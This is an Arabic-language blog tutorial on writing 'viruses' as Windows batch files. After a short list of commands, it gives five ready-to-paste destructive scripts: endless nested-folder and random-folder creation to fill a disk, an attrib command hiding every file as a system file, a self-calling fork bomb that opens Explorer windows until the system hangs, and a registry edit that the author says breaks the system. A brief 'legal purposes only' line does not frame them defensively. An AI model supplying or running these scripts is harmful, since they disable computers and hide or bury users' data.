السبت، 28 أغسطس 2021

تعلم صناعة الفيروسات بواسطة برمجة الملفات الدفعية

 


صناعة الفيروساتتتم بواسطة اي لغة برمجة ولكل لغة امكانياتها الخاصة ولكن اليوم سنتكلم عن صناعة الفيروسات بواسطة برمجة الملفات الدفعية

Batch Files programming

وهي عبارة عن ملف بإمتداد bat يحتوي على أوامر تتنفذ بشكل مباشر بواسطة نظام التشغيل ويندوز بمجرد فتحها نحتاج للعمل فقط برنامج المفكرة و هذه بعض الاوامر الهامة التي سنستخدمها :


rmdir لحذف المجلدات
copy لنسخ ملف
move لقص الملف (نقل الملف)
del لحذف الملفات
mkdir لانشاء مجلد جديد
ren اعادة تسمية الملفات والمجلدات
/cd للانتقال الى اعلى مجلد (المجلد الرئيسي)
cd main للانتقال الى المجلد main
cd .. للرجوع الى الخلف
start notepad لفتح برنامج المفكرة يمكنك فتح اي برنامج بواسطة الامر start
@echo on لطباعة النتائج بينما off لعدم الطباعة
attrib للتحكم بخصائص الملفات والمجلدات

 

والان سنكتب العديد من الفايروسات كأمثلة للتوضيح وبعد ذلك سنعطيكم كتاب يحتوي على شرح مفصل لهذا الموضوع لمن يريد التوسع  لتجريب الامثلة افتح برنامج المفكرة ولصقت الكود وحفظته بامتداد bat


المثال الاول :

فيروس يقوم بإنشاء مجلد باسم virus وينشئ داخله مجلد اخر بنفس الاسم وهكذا بواسطة

دوارة لانهائية حتى يمتلئ القرص ويعلق الجهاز:



@echo off
K:
:loop
md Virus
cd Virus
goto loop


المثال الثاني : 

فيروس يقوم بإخفاء جميع الملفات وجعلها ملفات نظام داخل القرص ويمكن تستخدم 

ذاكرة خارجية لتجربة ذلك :



@echo off
k:
attrib /s /d +s +h +r

المثال الثالث :
فيروس يقوم بملئ القرص بمجلدات بأسماء عشوائية
:



@echo off
k:
:rand
mkdir %random%
goto rand

المثال الرابع :

فيروس يقوم بفتح نوافذ بشكل متتالي حتى يعلق النظام:

قم بانشاء وفتح ملف المفكرة ولصق الكود وحفظت الملف باسم fork.bat





@echo off
:loop
Explorer
Call fork.bat
Goto loop

المثال الخامس :

 فيروس لاعادة ضبط الرجيستري ولكن انصح بعدم تجريبة لانه سوف يطفي

 الجهاز ويخرب النظام وتحتاج لفرمتته:

@echo off
reg add 
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v 
NoClose /t REG_DWORD /d 1 /f
exit


وإلى هنا ينتهي الشرح  وسأعطيك كتاب رائع لكي تتعلمو منه أكثر أرجو أن تطبقو على أغراض قانونية 

رابط التحميل


تعبيراتتعبيرات